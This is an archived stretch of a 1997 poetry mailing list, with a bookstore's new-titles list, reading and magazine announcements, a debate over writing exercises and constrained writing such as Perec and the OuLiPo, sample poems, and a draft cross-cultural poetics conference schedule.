6. _Guy Debord -- Revolutionary: A Critical Biography_, Len Bracken, Feral House, $14.95. A book much better than most. "Who has made, in so few images, a more beautiful poem of solitude?" --G.D.

7. _Politics of Friendship_, Jacques Derrida, Verso, $20. The 'political turn' many noted in Derrida's _Spectres of Marx_ continues here in an exploration of the political history of Aristotle's exclamation 'O my friends, there is no friend.'

8. _il cuore : the heart : selected poems 1970--1995_, Kathleen Fraser, Wesleyan, $16.95. 200 page selection plus new & uncollected work w/ introduction by Peter Quartermain. "dependent on scale, your under- / estimation of how it could / eat at you, that movement / (left behind itself)"

9. _Luminous Dreams_, Allen Ginsberg, Zasterle, $10. A little book of dreams including the remarkable "History of the Jewish Socialist Party in America."

10. _Some of the Dharma_, Jack Kerouac, Viking, $32.50. Beautifully typeset large format hardcover of Kerouac's buddhist journals/poems/proses. The typesetting puts one in mind of The Maximus Poems or the recent U Cal Mallarme-- ok, not quite that good-- but shockingly good for a major trade publication. & Kerouac, y'know, he's a pretty good writer.

11. _Continuous Discontinuous_, Andrew Levy, Potes & Poets, $13.50. "The four forceful, lovely works collected here, though very different from each other, all represent profound and yet quickly changing encounters with sense and sensation. All are swiftly impressionistic and rigorously thoughtful." --Lyn Hejinian. "it seems crazy in an intoxicating way"

12. _Becoming Modern: The Life of Mina Loy_, Carolyn Burke, U Cal., $18.95. New in pb.

13. _Mass Ave._, third issue, ed. Dan Bouchard, $5. Michael Angelo Tata, Andrew Levy, Sherry Brennan, Kyle Conner, Jennifer Moxley, Fred Muratori, Kary Wayson, Robert Fitterman, Ethel Rackin, Kim Bernstein, & Juliana Spahr.

14. _School of Fish_, Eileen Myles, Black Sparrow, $14. "What happens when you/ contain the flame?"

15. _The Collected Poems of Charles Olson_, ed. George Butterick, U Cal, $38. New in pb.

16. _Light Street_, Nick Piombino, Zasterle, $7. "The rules are straightforward."

17. _Rhizome 1_, ed. Evan Calbi and Standard Schaefer, $10. Lombardelli, Baraka, Slocum, Wellman, Browne, Gregg, Strang, Selby, Barone, DiPalma, Vangelisti, D. Phillips, M. Gizzi, Bernstein, Messerli, Swensen, Ronk, Ratcliffe, Mittenthal, G. Bennett, Smith Nash, Albon, Crosson, Alferi, Scalapino, Spahr, J. Bennett, Bellen, + Reviews.

18. _Letters_, Lisa Samuels, Meow, $5. ". . . the thread of spinning it only
I
changed. . ."

19. _Unbound: A Book of AIDS_, Aaron Shurin, Sun & Moon, $19.95. "Listen uncerimoniously to some of the music that has _meant_ me-- "

20. _Open Sky_, Paul Virilio, Verso, $16. 'One day the day will come when the day will not come.'

& a few of poetics kinda bestsellas currently in stock:

The L=A=N=G=U=A=G=E Book ed. Bruce Andrews & Charles Bernstein, Southern
Illonois, $18.95.
The Mooring of Starting Out: The First Five Books of Poetry, John Ashbery,

Ecco, $25.
On the Level Everyday: Selected Takes on Poetry and the Art of Living, Ted Berrigan, Talisman, $12.95.
The Psychic Life of Power, Judith Butler, Stanford, $15.95.
The Politics of Truth, Michel Foucault, Autonomedia, $8.
Hambone 13, ed Nathaniel Mackey, $10.
Some Other Kind of Mission, Lisa Jarnot, $11.
Forms of Expansion: Recent Long Poems by Women, Lynne Keller, U. Chicago,
$16.95.
The Lost Lunar Baedeker, Mina Loy, FSG, $13.
Imagination Verses, Jennifer Moxley, $8.95.
Cells of Release, Fiona Templeton, Roof, $13.95.
Another Language: Selected Poems, Rosmarie Waldrop, Talisman, $10.50.
Frame (1971-1991), Barrett Watten, $13.95.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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221. **rsillima**
Thank you, Douglas
Mon 15 Sep 1997

For that wonderful story of Hannah's

Ron

↑ Index

222. **Layne Russell**
POETICS: reading
Mon 15 Sep 1997

This is a copy of the notice sent out locally...posted here more for the simple sharing of it.... :)

---

* * * * * * * * * Reading * * * * * * * * *

This Thursday, September 18, 7:30 p.m.
Copperfield's Cafe, 140 Kentucky Street
Petaluma

LUKE BREIT
from Sacramento, author of four poetry books

and

LAYNE RUSSELL
(yours truly) [book "Blood and Other Poems" on the way!]

****
about Luke:

"These are very moving -- that is to say, perfect -- poems." -- George Oppen, poet, Pulitzer Prize winner

"When have I ever failed to take pleasure in Luke Breit's poetry? He is the most reliable poet I know when it comes to making me feel good. [....] Luke is a rain-maker. Put him in a desert, get him to recite, and clouds will gather. If I could be a poet, I wouldn't mind at all being as good as Luke Breit." -- Norman Mailer, Pulitzer Prize winner

You can visit Luke's web site at
http://208.131.18.6:80/lukesac/

****

http://www.sonic.net/layne
"A Quiet Place"
http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Sonoma County Poetry Calendar

↑ Index

223. **Maria Damon**
Re: NEW Davidson, Debord, Fraser, Ginsberg, Levy &&& @ Bridge Street
Mon 15 Sep 1997

At 1:38 AM -0400 9/15/97, [redacted] wrote:
...
>5. _Ghostlier Demarcations: Modern Poetry and the Material Word_, Michael
>Davidson, U. Cal., $35 hc. Michael Davidson argues that the modernist
>ideology of the work of art as autonomous object has dominated our idea of
>literary materiality and hindered our ability to to read poetry as a socially
>critical medium.

well, yeah! this is hardly a novel argument, tho it is refreshing to see it here on poetix and to see the range of writers (usually bracketed off as "difficult" i.e. not "socially engaged" or "relevant") Michael D takes on. md

↑ Index

224. **Douglas**
Re: Thank you, Douglas
Mon 15 Sep 1997

Ron,

Thank you for the response, and for your posting
on Hannah.

Douglas

[redacted] wrote:
>
> For that wonderful story of Hannah's
>
> Ron

↑ Index

225. **Burt Kimmelman**
tandy sturgeon
Mon 15 Sep 1997

---

anyone know the whereabout (addresses etc.) of tandy sturgeon? i need to get in touch with her asap.

thanks,

burt kimmelman
[redacted]

↑ Index

226. **Hoa Nguyen**
Writing experiments
Mon 15 Sep 1997

Warning:2 writing experitments to follow!

Thanks to all that posted suggestions for writing experiments-- as promised I will share a couple of mine-- and respond to the thread of "to what greatness" (my paraphrase) so writing excercise contribute.

I teach a workshop at a cultural center (alas, no big dough here so there goes the theory about creative writing = money for something you sell)-- I do hope that I allow in my class is some time and space to practice writing. I work another job to support myself as a writer-- often my writing class is a useful space for me to create poems, sometimes it is the only place I can actually write. Great ones? I sometimes find my writing great, sometimes its stays where it should, hidden, and sometimes it yields a line or thought or memory which becomes something else later (GREAT!).

This I wrote from an in-class exercise-- pretty ordinary exercise really-- we made collages from magazines with images and text-- then we traded them and wrote using them as a kind of trigger:

Stupid, Meatloaf

Stare at a toy plane 10:10 PM and the Wizard
behind the screen is a rented man my heart
(organ) burns, it does like the 9 of spades
found in an empty parking lot apart
-- when did one find the stark differences
of crotches? -- the rented man of my heart &
if I hate my job or hurt hand the wizard
will get me a new heart, Tin Man, maybe
dirt cheap maybe a toy plane to stare
at in high beams in the rain Nothing up
my sleeve but the 9 of spades and my heart
(organ) burns finding the stark difference
in the Tin Man and the dirt cheap boom boom
sound of 10:10 before someone comes home

I like this poem-- and it goes with what Finnegan had said about the need to read -- well that is obvious-- and of course the need for writing practice. This ended up as a sonnet -- a form I have used quite a bit-- and a form that I have read in Ted Berrigan and Bernadette Meyers' works.

Ok here is another more complicated approach adapted from Harryette Mullen from OULIPO:

Take a word, preferably (for ease) with five or less letters, and not too many repeating letters, for example, star. Then generate a lexicon of words that are somewhat and not at all associative to the word, _without_ using the letters that make up that word. (the letters s, t, a, or r in our example so: dim, model, cool, flip, dumb.. and so on) You should collect about 15 words. Now throw away the "letter" constraint and write using the words in the list.

A twist I used in this class was to compose the work as a "letter", as in-- Dear Star:..etc. Here are two I wrote like these. (I wrote a few like these!)

Dear Death

A simple quibble — what is it that you prize? Pride?
Your winsome vibe aside — we sniff hard at the ruse
of the mondo-young. Whip the moon to a nub
and we would have you new. Human remains
ruined and I am, wishing for a rune-tattoo to follow.

Dear Talk

Why mop nonsense into a bomb bigger
than speech? You are all, Talk, a dizzy
no-no, a misunderstood gift like gin. Why
do you croon to me like sunshine, and why
does red sift sky like an engine of words,
as an engine for fighting wonder. I will
be gossip for you to surpass.

***

Special thanks to Lisa Jarnot for generously sharing teaching information...

sincerely,

Hoa

_____
Get Your Private, Free Email at http://www.hotmail.com

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227. **hnry gould**
Re: Writing experiments
Mon 15 Sep 1997

thanks Hoa, for interesting poems & message - obviously I am on losing side of this argument, Finnegan has waked out of it, he knows better, I'll hang myself by my own e-thread now, play devil's avocado -

BUT say this I still do :

IF I WAS A CREATIVE WRITING TEACHER-MOGUL-MILLIONAIRE

o.k. everybody here are the xeroxes of Paradise
lost the original please pass around these
brown macintoshes & peel until you underestimate
your own fur go through Scissors Gate

& paste some new words until you make babble
sing on top of a towering scribble
hey some new poetry roadside
drive-in starts to collide

& then it begins to work!
Everybody can learn to cook
even this jerk
lost his writer's block
& if the glue sticks
try these licks again & again

- Henry Gould

↑ Index

228. **Hoa Nguyen**
Re: Writing experiments
Mon 15 Sep 1997

---

hnry gould <[redacted]>
>Subject: Re: Writing experiments
>To: [redacted]
>In-Reply-To: Message of Mon, 15 Sep 1997 11:32:36 PDT from

>thanks Hoa, for interesting poems & message - obviously I am on losing
>side of this argument, Finnegan has waked out of it, he knows better,
>I'll hang myself by my own e-thread now, play devil's avocado -
>
....I honestly don't see any sides (or argument) to this. You obviously
have a point to make about quaility, the "gift" of poetry, and writing
experiments, but I am not sure what that is. It seems to me that it
isn't so much experiments with writing in themselves that may be taken
to issue, but their over reliance and/or eclipsing of the practice of
reading and listening. But I think that this has been said more
eloquently by others on this list, so I will stop here.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

229. **charles alexander**
Re: Writing experiments
Mon 15 Sep 1997

> *I say more sweat; I want to see your struggle. I don't want to see flights of fancy--I want to see the bee's wax melting down your arms, Icarus, as you test the Sun.*

James,

This sure sounds like a flight of fancy to me. And doesn't "fancy" in this sense mean the imagination, anyway? Yes, I do want to see that. And I think we see it as much in the choices, structural, method, and otherwise, as we see it in diction, form, field of poem, etc.

Seems there is some idea here that a poem wrought by a method or procedure can't be as sincere or close to the bone or _____ (anything) as one which is not wrought by such method or procedure. I don't agree with that at all. Also seems like there's an idea that there is some stance which is entirely naked, sweaty, struggling, and devoid of any method or procedure -- no, I don't agree with that, either.

charles

charles alexander
poet and book artist
[redacted]

↑ Index

230. **Peter Ganick**
Re: Writing experiments
Mon 15 Sep 1997

---

i know this topic has been taken around the block
several times, but what about the 'poems/directions'
in yoko ono's 'clouds'?---these are experiments,
some in writing---they are writing experiments in
that she 'wrote' them and a reader/experimenter can
read or fulfill them---what sort of fulfillment did ono
intend in these pages?---

↑ Index

231. **Peter Ganick**
yoko ono
Mon 15 Sep 1997

---

sorry, the name of the book is not
'clouds', rather, 'grapefruit'----
a chunky, yellow-covered, small,
square-shaped book---
wonder of that has to do with the
title?---

↑ Index

232. **Layne Russell**
Re: JackLeg #3
Mon 15 Sep 1997

JackLeg is a community based literary magazine, primarily featuring writers
from Chicago and Tucson (now that I've moved to San Francisco, we'll start
adding Bay Area writers to the mix for issue #4).

Hugh,

this is great news! welcome to the SF area! how often does Jackleg come out?

Layne (in north bay area)

↑ Index

233. **James Finnegan**
Re: Writing experiments
Mon 15 Sep 1997

Henry,

Yes, I've hung back. Let others have their say: Writing
exercises are freeing, occasionally yeild brilliancies.

I think, mostly, it's a matter of temperament. I cringe
at the idea of writing a poem that I have no vested interest
in writing, no will to write on mine own accord.

I say more sweat; I want to see your struggle. I don't want to see flights of fancy--I want to see the bee's wax melting down your arms, Icarus, as you test the Sun.

Finnegan

↑ Index

234. red slider
Re: Writing experiments
Tue 16 Sep 1997

---

we're looking for a Turing test for poemspeak? Would certainly have to detect the presence of endorphins which could easily be faked by exercises making 60% of your grade depend on the soul tion set. Sweat is sweart?

red

> *I say more sweat; I want to see your struggle. I don't want to see flights of fancy--I want to see the bee's wax melting down your arms, Icarus, as you test the Sun.*

James,

This sure sounds like a flight of fancy to me. And doesn't "fancy" in this sense mean the imagination, anyway? Yes, I do want to see that. And I think we see it as much in the choices, structural, method, and otherwise, as we see it in diction, form, field of poem, etc.

Seems there is some idea here that a poem wrought by a method or procedure can't be as sincere or close to the bone or _____ (anything) as one which is not wrought by such method or procedure. I don't agree with that at all. Also seems like there's an idea that there is some stance which is entirely naked, sweaty, struggling, and devoid of any method or procedure -- no, I don't agree with that, either.

charles

charles alexander
poet and book artist
[redacted]

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235. Hugh Steinberg
JackLeg #3
Tue 16 Sep 1997

Just wanted to make a plug for the magazine I co-edit, JackLeg.

ISSUE #3, FALL 1997

Featured writers include:

Ray Gonzalez	Alison Deming	James McManus
Luis Rodriguez	Mark Turcotte	Denise Duhamel

Calvin Forbes Maureen Seaton Reginald Gibbons
Barry Silesky Mary Hawley Jon Anderson
Gale Walden Daniel Tobin Simone Muench
Becky Byrkit Charles Alexander Gregg Wagner
Lisa Cooper Bill Marsh and Thomas Chandler

Please join us for Issue #3's DEBUT READING at:

The Guild Complex at the Chopin Theater
1543 W. Division Street, (corner of Ashland, Milwaukee, and Division)
in CHICAGO

OCTOBER 21, 1997 AT 7:30 P.M.

JackLeg is a community based literary magazine, primarily featuring writers from Chicago and Tucson (now that I've moved to San Francisco, we'll start adding Bay Area writers to the mix for issue #4). As with our previous two issues, JackLeg is held together with nuts and bolts, so that when one is through reading it one can do minor home repairs or put somebody's eye out (you can even add your own poems, or remove the ones you don't like, and hardly anyone will know).

A Jackleg is someone who talks too much about something she or he knows nothing about.

To order a copy, please e:mail Jennifer Harris at [redacted]

Hugh Steinberg

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236. David Bromige
reading in seattle
Tue 16 Sep 1997

Any Listopolitans in the Seattle area? I'll be reading for SubText at the Speakeasy Thursday evening, September 18, and giving workshops Fri eve and Sat p.m. On Thursday, I'll be reading with Robin Blaser.

The Speakeasy is at 2304 2nd Avenue in the Belltown district, just north of downtown.

My contact person there is R. Bryant Mason, who may be reached at [redacted] , or at [redacted].

David

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237. Lawrence Upton.
(no subject)
Tue 16 Sep 1997

REGARDING LAWRENCE UPTON'S EMAIL ADDRESS

Please note that I have changed my email address. I did notify as many people as possible, and I am sorry to repeat it but it seems that not everyone got it. I abandoned Compuserve because of my dissatisfaction with their service but they refuse to accept my cancellation saying they dont understand what I am saying, presumably to demand more money. Email has been accepted by the system but I am not reading it. This is my new email.

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238. Miles Champion
Re: writing exercises
Tue 16 Sep 1997

While I'm reluctant to prolong this discussion, and given that David Bromige has succinctly outlined the value of writing exercises in his posting a couple of days ago, there are still a couple of things I'd like to add. First, to gesture broadly toward the long and illustrious history of writing which owes its existence to procedure(s) and/or methods of constraint (Homer was no stranger to the lipogram, after all), and, second, to mention the works of one writer who, this century at least, demonstrates beyond doubt the validity of such methods: Georges Perec. Any discussion of Perec has to involve a wider consideration of the benefits (the "freeing-up") of writing exercises, for Perec felt that his own story, the story he might one day tell given his great ambition to be a writer, had been taken brutally from him by the events of WWII, his childhood spent in exile and the loss of his family to the Nazis. Yes, his first works were written with no specific or systematic artifice, but it was surely the strange texture of the first novel, _Things_, with its collaged borrowings from Flaubert, that persuaded Raymond Queneau to put Perec forward for membership of the OuLiPo, and it would be difficult indeed to dismiss the works Perec then went on to write--using greater and more elaborate formal systems--as mere "exercises". It is interesting, though, that for many years the OuLiPo itself was wary of the (potential) importance of its work, and met for some years in secret, publishing little. It was Queneau's death in the late seventies which prompted Perec to start work on _Life A User's Manual_, in which a network of quotations from his beloved authors (Roussel, Kafka, Melville, Proust, Sterne, Leiris...) sits within a formal structure of highly complex design (the expanded, 10x10 chessboard, the Knight's Tour, the Graeco-Latin bisquare of order 10, &&)--extraordinary, really, that the book should stilll be such a page-turner! And the lipogrammatic

novel _La Disparition_ also allows those of us with not exactly fluent French to marvel at the superb translation (_A Void_) by Gilbert Adair. And what an idea, a whodunnit written entirely without the letter e, in which the murderer turns out to be the errant vowel! The wider point here is, of course, that these and other works cannot be separated from the systems which helped to generate them--the "plot" of _La Disparition_, for example, was to an extent shaped by the reduced lexicon (e being by far the most common letter in the language) that Perec had available. Perec inscribed his biography into these processual works in complex and fascinating ways, and the results were not only deeply moving but sometimes shocking (_W or The Memory of Childhood_).

There has already been discussion on this list of the flexibility of self-imposed rules--that one can depart or diverge from them once they have provided something interesting, and that such departures do not necessarily undermine the overall system (for Perec this would be Epicurus's "clinamen", the anti-constraint that operates within the structure [or Paul Klee's "genius is the error in the system"]), and this flexibility is a nice counterpoint to the practice of setting up a system and following it pedantically to its conclusion (Happy Birthday, Jackson!).

As Charles Bernstein pointed out some time ago now in "Thought's Measure", the writer who sits, pen in hand, alone with her thoughts, invariably produces writing which is far from unique. To admit begrudgingly to the use of "exercises" in the classroom but to remain scornful of their uses elsewhere is to demonstrate remarkably little understanding of how many writers actually construct their work.

--Miles

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239. **henry**
Re: Writing experiments
Tue 16 Sep 1997

I agree with you. I also think the interesting writing comes out of either long gestation - or intense experience. It seems patronizing to me to reduce it to a game. Or only a game, though it's that too I guess. Encourage people to draw on their experience, their reading, & their social consciousness - give them "themes" rather than scissors & paste (or along with the scissors & paste...) - Henry

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240. **henry**
Re: writing exercises
Tue 16 Sep 1997

On Tue, 16 Sep 1997 09:58:34 +0000 Miles Champion said:
>
>As Charles Bernstein pointed out some time ago now in "Thought's Measure",
>the writer who sits, pen in hand, alone with her thoughts, invariably
>produces writing which is far from unique. To admit begrudgingly to the use
>of "exercises" in the classroom but to remain scornful of their uses
>elsewhere is to demonstrate remarkably little understanding of how many
>writers
>actually construct their work.

O.k. Miles the Champion, you've brought in Perec & Borges & all that & clearly checkmated the counter-argument. Yes, "exercises" can bring a breath of fresh air & liberation & play into the writing process as well as point in the direction of serious craft. On the other hand, to be "scornful" of the writer who sits pen in hand etc. is just as reductive. I still say technique for its own sake has become a contemporary shibboleth, especially in the "experimental" community; & IF I WERE THE IDEAL WRITING TEACHER I would want to listen carefully to the students & find out what they'd read, would put on some tapes of poets new & traditional (Beowulf is still available in live performance), would encourage an exploration of history & social consciousness in writing, before introducing facile techniques. Because you never know, there might actually be a few writers in your class. - Henry Gould "Ars est celare artem" [Art is to hide art]

↑ Index

241. **Maria Damon**
Re: writing exercises
Tue 16 Sep 1997

At 9:58 AM +0000 9/16/97, Miles Champion wrote:
>While I'm reluctant to prolong this discussion, and given that David Bromige
>has succinctly outlined the value of writing exercises in his posting a
>couple of days ago, there are still a couple of things I'd like to add.
>First, to gesture broadly toward the long and illustrious history of writing
>which owes its existence to procedure(s) and/or methods of constraint (Homer
>was no stranger to the lipogram, after all), and, second, to mention the
>works of one writer who, this century at least, demonstrates beyond doubt
>the validity of such methods: Georges Perec. Any discussion of Perec has to
>involve a wider consideration of the benefits (the "freeing-up") of writing
>exercises, for Perec felt that his own story, the story he might one day

>tell given his great ambition to be a writer, had been taken brutally from
>him by the events of WWII, his childhood spent in exile and the loss of
>his family to the Nazis. Yes, his first works were written with no specific
>or systematic artifice, but it was surely the strange texture of the first
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>Raymond Queneau to put Perec forward for membership of the OuLiPo, and it
>would be difficult indeed to dismiss the works Perec then went on to
>write--using greater and more elaborate formal systems--as mere "exercises".
> It is interesting, though, that for many years the OuLiPo itself was wary
>of the (potential) importance of its work, and met for some years in secret,
>publishing little. It was Queneau's death in the late seventies which
>prompted Perec to start work on _Life A User's Manual_, in which a network
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>Sterne, Leiris...) sits within a formal structure of highly complex design
>(the expanded, 10x10 chessboard, the Knight's Tour, the Graeco-Latin
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>stilll be such a page-turner! And the lipogrammatic novel _La Disparition_
>also allows those of us with not exactly fluent French to marvel at the
>superb translation (_A Void_) by Gilbert Adair. And what an idea, a
>whodunnit written entirely without the letter e, in which the murderer turns
>out to be the errant vowel! The wider point here is, of course, that these
>and other works cannot be separated from the systems which helped to
>generate them--the "plot" of _La Disparition_, for example, was to an extent
>shaped by the reduced lexicon (e being by far the most common letter in the
>language) that Perec had available. Perec inscribed his biography into
>these processual works in complex and fascinating ways, and the results were
>not only deeply moving but sometimes shocking (_W or The Memory of
>Childhood_).
>

thanks miles for this informative post; as someone attracted to both "language"-centered writing and also the exigencies of traumatic biographical "reality," i find this kind of insight invaluable.

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242. Maria Damon
xcp conference schedule
Tue 16 Sep 1997

---

hi groovoids, here's a tentative xcp conference schedule. if yr on the schedule and see something you can't handle, now'ss the time to say so.

Draft of Schedule for Cross-Cultural Poetics Conference

THURSDAY OCTOBER 16:

12:30-12:45: Introductory Remarks

1:00-2:10, PANELS:
1. The Poetics of Trauma
Chair
Karyn Ball, Critical Studies in Discourse and Society, University of Minnesota, "The Entropics of Memory: Diaspora Poetics in Theresa Hak-Kyung Cha's Dictée
U Sam Oeur, "Sacred Vow: Poems from the Cambodian Killing Fields"
Kitty Millet, California State University-Long Beach, "Testimonio, Performance, and Survivor Narration: A Revolution in Form"

2. Resistance, Hybridity and the "Post-": the Politics of Cross-Cultural Poetics
Sonita Sarker, Womens' Studies, Macalester College, Chair (to be invited)
Michael Strysick, University of Wisconsin-Eau Claire, "Borders and the Between: A Poetics of Community"
Asha Sen, University of Wisconsin-Eau Claire, "Feminist Subversions: A Critical Look at the Role of Taiwafs in India"
Caroline Picart, University of Wisconsin-Eau Claire, "The Poiesis of Mestizaje"

3. Popular Music Csaba Toth, History Department, Carlow College, "Noise Poetics on Screen: Mediatized Performance and the Micropolitics of Sounding-off Postindustrial Space" Monika Mehta, Comparative Literature, University of Minnesota, "Songs and Sexuality in Popular Hindi Cinema" (read by Jigna Desai)

2:20-3:30, PANELS:

1. Telepoetics I
Catherine Liu, Department of French and Italian, University of Minnesota, Chair
John Mowitt, Critical Studies in Discourse and Society, University of Minnesota, "Nonwestern Electric"
Peter Krapp
*unconfirmedNicholas Royle

2. Ethnopoetics: Critique, Description, Practice Kim Koch, Book House on Grand, Chair Rachel Martin, Department of History, University of Minnesota, "The Hippie Invasion: An Amicus Brief in the Case Against Mr. Gary Snyder and Others" Nicholas Yasinski, Literature Department, Rutgers Universty, "Happenings in the '90s: Popular Contexts for Poetry"

3. "The Shadows of Untouchability": Some Indian Poetics
Robin Lukes, College of St. Catherine-Minneapolis, Chair

Veena Deo, English Department, Hamline University, "Dalit Women's Writing"
Shripad Deo, Department of Sociology, Colorado State University, "Inchoate Revolution and the Shadows of Untouchability: Antinomies of the Dalit Revolution"
Amitava Kumar, English Department, University of Florida, "Poetry's Provocation"

3:45-5:00, READINGS

1.
Reg E. Gaines
Marisela Norte
Hilton Obenzinger
Introduction by

5:15-7:00 Dinner Break
5:15, buses leave from Nolte Center for the Walker Art Center area.

7:00-8:30, KEYNOTE TALK-POEM at the Walker Art Center
David Antin
Introduction by Karen Moss, Walker Art Center

8:45-closing
Performance Cabaret/Dessert Coffee Wine Bar, Walker Gallery 8 Café:
Hosts, Brenda Bell Brown and

FRIDAY OCTOBER 17:

8:30-9:45 A.M., PANELS:

1. Black Chant Aldon Nielsen, English Department, Loyola-Marymount University, Chair Julie Anne Schmid, English Department, University of Iowa, "Speaking as the Other: Patrcia Smith's Close to Death and an Ethics of Performance" Kathleen Crown, English Department, Rutgers University,"'Cross/Country Nonstop Flight': Migratory Ecstasies in Ed Roberson's Voices Cast Out to Talk Us In" Richard Quinn, English Department, University of Iowa, "Riffing on the 'Sexual Cut': Musical Possession and Virtuosity in Nathaniel Mackey's Bedouin Hornbook and Archie Shepp's 'The Girl from Ipanema'"

2. Literary Ethnographies
Dennis Tedlock, English Department, SUNY-Buffalo, Chair
Hank Lazer, English Department, University of Alabama, "Education, Equality, and Ethnography in Ron Silliman's The Alphabet"
Yunte Huang, English and Anthropology, SUNY-Buffalo, "Charlie Chan vs. Ezra Pound: Modern Conceptions of the Chinese Language"
Eleni Stecopoulos, English Department, SUNY-Buffalo, "Ethnography, Glossographia, and the Macaronic: The Translations of Artaud"

3: "Anthropological Poetics"
Diane Glancy, English and Native American Studies, Macalester College, Chair
Shazia Rahman, Department of English, University of Alberta, "Incohering Identities: Kirin Narayan's Love, Starts and All That"
Michael Heller, NYU, "Precision and Uncertainty: Towards an Anthropological Poetics"
Kenneth Serwood, English Department, SUNY-Buffalo, "Ethnopoetics Redux: Airing the Languages of Contemporary Cross-Cultural Poetry"

10:00- 11:30, ROUNDTABLE: Roundtable 1: Poeisis, Ethnicity, Ethics: Reconfiguring the Balance: or, "Ethnopoetics: What's the Use?" Maria Damon, English Department, University of Minnesota, Moderator Juliana Chang, Heinz Insu Fenkl, Maurice Kenny, Wendy Rose, Armand Schwerner, Barbara Tedlock, Dennis Tedlock

11:30-1:00: Lunch Break

1:00-2:10, PANELS:

1. Now Museum/Now You Don't: Institutionalizing Wildness
Chair: William Anthes, American Studies, U of MN
Brian Keith Axel, Department of Anthropology, University of Chicago, "The Scattered Members of the Poet: Questioning the Production of Diaspora as an Object of Study"
Diane Olson, English Department, SUNY-Buffalo, "de-institutionalized docility: an autoethnographic 'walk' through an ethnographcally 'wild' museum"
David Michalski, School for the Visual Arts, "Collage Sociology: The World Trade Center Social Research Experiment"

2. Telepoetics II
Chair, Peter Krapp
Laurence Rickels, University of California-Santa Barbara
Catherine Liu, Department of French and Italian, University of Minnesota
Christopher Bracken, English Department, University of Alberta, "Mana, Magic, Man"

3. READING
Susan Wheeler, cris cheek, Brian West and Erik Belgum
Introductions by Yunte Huang, SUNY-Buffalo

2:20-3:30, PANELS

1. Poetics Out of Bounds
Julia Van Cleve, Comparative Literature, University of Minnesota, Chair
Diedre Sklar, Department of Anthropology, UC-Davis, "Walking with the Virgins in the Procession of the Grandmothers"

Ed Cohen, Literature Department, Rutgers University, "Poesis, Autopoesis, Autopoethics"
Ira Livingston, Englih Department, SUNY-Stonybrook, "The Politics of Disavowal: Poetics and Science"

2. Harlem Renaissance/Nathaniel Mackey John Wright, African and Afro-American Studies, University of Minnesota, Chair Julie Suk, Cambridge University, "Poetry of Flesh: Double Consciousness in the Harlem Renaissance and Negritude" Katherine Lynes, Literature Department, Rutgers University, "Expectations of Authenticity: Poets and Poetry of the Harlem Renaissance as Cultured and Collected Objects" Paul Naylor, English Department, University of Memphis, "'Cries of thousands/ cut in on the music': Nathaniel Mackey's Recording of Strick: Song of the Andoumboulou 16-25"

3. READING:
Eliot Katz, Liberation Recalled
Chris Peditto, Heat Press
Lori Tsang
Introductions by Allan Kornblum, Coffee House Press

3:45-5:00, READINGS:

Solomon Deressa, Walter K. Lew, Elizabeth Burns, Mark Nowak Introductions by Mark Nowak, Xcp: Cross-Cultural Poetics

5:00-7:00 DINNER BREAK

7:00-9:00, KEYNOTE READING AND ADDRESS at the Weisman Art Museum Diane Glancy
Dennis Tedlock, "2,000 Years of Mayan Literature"
Introduction by Mark Nowak, Xcp: Cross-Cultural Poetics

9:00-closing, Reception/Cash Bar and Readings, Campus Club: 8 by 8: Roy Miki, Jeff Derksen, Aldon Nielsen, Amitava Kumar, Anna Reckin, Edmond Chow, JL Kubicek, Eliza Murphy

SATURDAY OCTOBER 18

8:30-9:45, PANELS

1. Ideology and Community Candace Lines, English Department, University of Minnesota, Chair *unconfirmed Dean Brink, Comparative Literature, University of Chicago, "Nineteenth-Century Japanese Verse and Ideology" David Kellogg, Writing Program, Duke University, "Social Identity and the Locus of Quantity: Rhetorical Appeals in Contemporary Poetry" Rod Hernandez, English Department, Stanford University, "Tropicalism: A Poetics of the Poco-Che Literary Collective and Publishing Company"

2. Other Languages
????????Yunte Huang, SUNY-Buffalo, Chair
Dan Taulaitu McMullin, "Education as Elision: Polynesian Oral Traditions and Their Erasure..."
Laura Yim, Brandeis University, "Pregnant with *kaona*": Functions of *Mele* and *Oli* in Marshall Sahlins' _Islands of History_"
Tina Neumann, Arizona State University, "The Poetics of American Sign Language"

3. Within the Academy Norman Finkelstein, English Department, Xavier University, Chair Joe Amato, Writing Program, Illinois Institute of Technology, tba Kangmi Kim, University of Wisconsin-Madison, "On the Need for Orality in the Classroom" Alan Golding, English Department, University of Louisville, "Whiteboy Avant-Gardism and Cross-Cultural Poetics: Charles Bernstein as Poet-Critic"

4. Voices, Spaces, Performance: The Poetics of Armand Schwerner in The Tablets and Other Writing
Michael Heller, NYU, Chair
Arthur Sabatini, Department of Interdisciplinary Arts and Performance, Arizona State University West, "Culture and Poetics"
Michael Heller, NYU, "Voice and Disjunction"
Willard Gingerich, Dean of Graduate Arts and Sciences, St. John's University, "Cultural Representation"
Katherine Von Spanckeren, English Department, University of Tampa, "Praxis of a Buddhist Poetics"

10:00-11:30, PANELS

1. Publishing and Outreach, Roundtable
Mark Nowak, XCP: Cross-Cultural Poetics, Chair
Carolyn Holbrook, SASE
Chris Peditto, Heat Press
Allan Kornblum, Coffeehouse Press
Martin Spinelli, Line/break

2. Post-War African American Poetry
David Jones, English Department, University of Minnesota, Chair
Michael Bibby, English Department, Shippensburg State University, "Stranger in the Village: Poetry and the Racial Uncanny, 1945-1955"
Skip Fox, Department of English, University of Southern Louisiana, "On Nathaniel Mackey"
Elizabeth Frost, English Department, Fordham University, "Agendas of Race and Gender: Sonia Sanchez and the Black Arts Movement"

3. Outsiderhood ???University of Minnesota, Chair Duncan Smith, German Department, Brown University, "Poetry from the Tower and Dumpster: Vatic Poems by Hölderlin and Everett Maddox" Kevin Browne, Anthropology Department, University of Wisconsin-Madison, "Poetry, Ethnography and the Dispossessed: Exploring Poems of a Mental Patient and of Street Children in Central Java" Jason Winslade, Program in Performance Studies, Northwestern University, "Incarcerated Incantations: Occult Poetics and the Performance of Magickal Resistance in a Correctional Institution"

